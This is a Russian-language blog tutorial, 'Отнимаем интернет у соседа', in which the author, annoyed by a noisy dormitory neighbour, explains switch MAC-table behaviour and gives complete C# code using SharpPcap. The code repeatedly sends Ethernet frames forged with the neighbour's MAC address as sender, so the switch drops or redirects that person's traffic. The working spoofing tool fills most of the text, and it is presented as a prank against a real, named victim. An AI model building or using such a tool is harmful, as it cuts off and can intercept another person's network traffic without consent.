Отнимаем интернет у соседа

/ Просмотров: 6162

Отнимаем интернет у соседа. Всё началось с того, что в общаге поселился замечательный сосед-геймер, который по вечерам играл либо в доту, либо в Counter Strike, либо смотрел футбол. К нему в это время приходили приятели и орали непечатные слова, а просьба диминуэндо осталась без внимания, что и стало поводом для написания программы, которая отнимает интернет у конкретного пользователя, не забивая при этом канал, не перегружая процессор и оставляя доступ в интернет у меня. Делюсь с вами результатами своего эксперимента.

Нам понадобится:

  1. Visual C#;
  2. Библиотека WinPcap;
  3. Библиотека-обёртка для WinPcap - SharpPcap;
  4. Сниффер WireShark;
  5. 2 компьютера, подключённые к интернету, объединённые в локальную сеть с помощью коммутатора.

Матчасть. Рассмотрим, как пакет данных доставляется от удалённого хоста к компьютеру соседа. Для доставки данных Международной стандартизующей организацией (ISO) предусмотрены 7 уровней.

Уровень Назначение Протокол
Физический Передача потока бит 100Base-TX
Канальный Передача кадра между двумя соседними станциями Ethernet II
Сетевой Передача пакета от отправителя к получателю IP
Транспортный Гарантированная доставка набора данных TCP, UDP
Сеансовый Поддержание сеанса связи PPTP, NetBios
Представления Преобразование данных верхних протоколов SSL
Прикладной Удалённый доступ между хостами HTTP, FTP, IMAP

Набор данных, сформированных отправителем, проходит через весь стек протоколов. Например, пользователь запрашивает веб-страницу. Сначала управление переходит протоколу HTTP, который формирует GET-запрос, потом - уровню представления, в котором при необходимости данные шифруются, потом - сеансовому уровню, потом транспортному. Этот уровень и все последующие представляют особый интерес для решения данной задачи, поэтому рассмотрим их подробнее. На вход протоколу TCP поступает строка неограниченной длины. Протокол дробит её на отрывки так, чтобы длина каждого умещалась в TCP-пакет. К каждому отрывку добавляет заголовок, и отправляет множество пакетов на сетевой уровень. Сетевой уровень определяет маршрут доставки пакета от отправителя к получателю, добавляя в заголовок IP-адрес конечной точки. Канальный уровень принимает пакет от сетевого и упаковывает его в кадр. В заголовке кадра содержится MAC-адрес ближайшей станции, которая должна принять и обработать его, то бишь маршрутизатор. Маршрутизатор, получив кадр, извлекает из него IP-пакет, определяет адрес следующей станции, которая должна получить этот пакет, упаковывает его в новый кадр и отправляет дальше. Физический уровень занимается передачей потока бит.

Теперь рассмотрим, как работает коммутатор. При включении коммутатор работает как хаб: получив кадр, он пересылает его всем подключенным станциям, кроме отправителя. В то же время он извлекает из кадра MAC-адрес отправителя и заносит его в адресную таблицу. При дальнейшей работе он сравнивает адрес получателя вновь поступившего кадра с адресами, хранящимися в адресной таблице. Если таковой найден, коммутатор отсылает кадр получателю, в противном случае - всем станциям.

Но предположим, что мы подставили в кадр левый адрес отправителя. Тогда коммутатор перезапишет адресную таблицу и будет все кадры, содержащие такой адрес получателя, отправлять мне. Таким образом, можно подставить туда адрес соседа! И тогда сосед не получит ни одного предназначенного ему кадра, так как я буду выдавать себя за него. Более того - весь его входящий трафик должен пойти ко мне! И его можно проанализировать сниффером. И если у тебя старый коммутатор, так и произойдёт. Мой коммутатор просто стал уничтожать все кадры, предназначенные данной станции; и у соседа пропал интернет, а у меня всё было в порядке.

Чтобы перейти к практике, необходимо разобрать формат кадра Ethernet. Первые 7 байт - преамбула, и 1 байт - старт-фрейм предназначены для информировании коммутатора о начале передачи кадра. Далее следует адрес получателя (6 байт), адрес отправителя (6 байт), длина, тип (2 байта), поле данных, в котором содержится информация верхних уровней.

Приступаем к кодингу. Открываем Visual C#, создаём новый проект Windows Forms Application. Кидаем на форму ComboBox, даём имя Devices, MaskedTextBox, обзываем его Victim и задаём маску CC\:CC\:CC\:CC\:CC\:CC. Потом кидаем кнопку, обзываем её Hack. Расположите примерно так:

/uploads/_pages/20/1.png

Теперь надо подключить к проекту библиотеку SharpPcap. Ведь ты уже установил WinPcap? Хорошо, тогда нажимай Добавить ссылку и подключай библиотеку SharpPcap.dll и PacketDotNet.dll. Теперь в коде формы добавь

using SharpPcap;
using PacketDotNet;
using System.Threading;

В класс формы добавь следующие переменные:

CaptureDeviceList list; //здесь будет храниться список сетевых адаптеров
ICaptureDevice device;  //здесь будет храниться выбранный сетевой адаптер
Thread thread;          //поток

В конструктор формы добавь:

public Form1()
{
    InitializeComponent();
    list = CaptureDeviceList.Instance;
    foreach (ICaptureDevice dev in list)
    {
        Devices.Items.Add(dev.Description.ToString());
    }
}

Здесь мы обнаружили список всех сетевых адаптеров и вывели их в ComboBox. Теперь создадим обработчик события для кнопки УНИЧТОЖИТЬ. Здесь создадим поток, в котором каждую секунду будет отправляться кадр с левым адресом отправителя и бессмысленным содержимым.

private void Hack_Click(object sender, EventArgs e)
{
    thread = new Thread(new ParameterizedThreadStart(SendProc));
    thread.Start(Devices.SelectedIndex); //отправляем в поток выбранный сетевой адаптер
}

private void SendProc(object number)
{
    device = list[(int)number];
    device.Open();  //инициализируем сетевой адаптер
    byte[] frame = new byte[100];  //буфер для кадра
    byte i;
    for (i = 0; i < 6; i++)
    {
        frame[i] = 255;//broadcast destination
    }
    string s = Victim.Text.Remove(2); //Парсинг адреса жертвы
    frame[6] = byte.Parse(s, System.Globalization.NumberStyles.HexNumber);
    s = Victim.Text.Substring(3, 2);
    frame[7] = byte.Parse(s, System.Globalization.NumberStyles.HexNumber);
    s = Victim.Text.Substring(6, 2);
    frame[8] = byte.Parse(s, System.Globalization.NumberStyles.HexNumber);
    s = Victim.Text.Substring(9, 2);
    frame[9] = byte.Parse(s, System.Globalization.NumberStyles.HexNumber);
    s = Victim.Text.Substring(12, 2);
    frame[10] = byte.Parse(s, System.Globalization.NumberStyles.HexNumber);
    s = Victim.Text.Substring(15, 2);
    frame[11] = byte.Parse(s, System.Globalization.NumberStyles.HexNumber);
    frame[12] = 255;
    frame[13] = 255;
    for (i = 14; i <= 99; i++)
    {
        frame[i] = i; //остальное заполняем мусором
    }
    while (true)
    {
        device.SendPacket(frame); //отправляем кадр
        Thread.Sleep(1000);       //ждём 1 секунду
    }
}

С помощью сниффера WireShark я отловил отправленные мной кадры с адресом отправителя 00:11:11:11:11:11, что вы видите на рисунке.

/uploads/_pages/20/2.png

Всё. Программа готова. Теперь мы оставили соседа без интернета :)

Оставьте комментарий!

Комментарий будет опубликован после проверки

Вы можете войти под своим логином или зарегистрироваться на сайте.

(обязательно)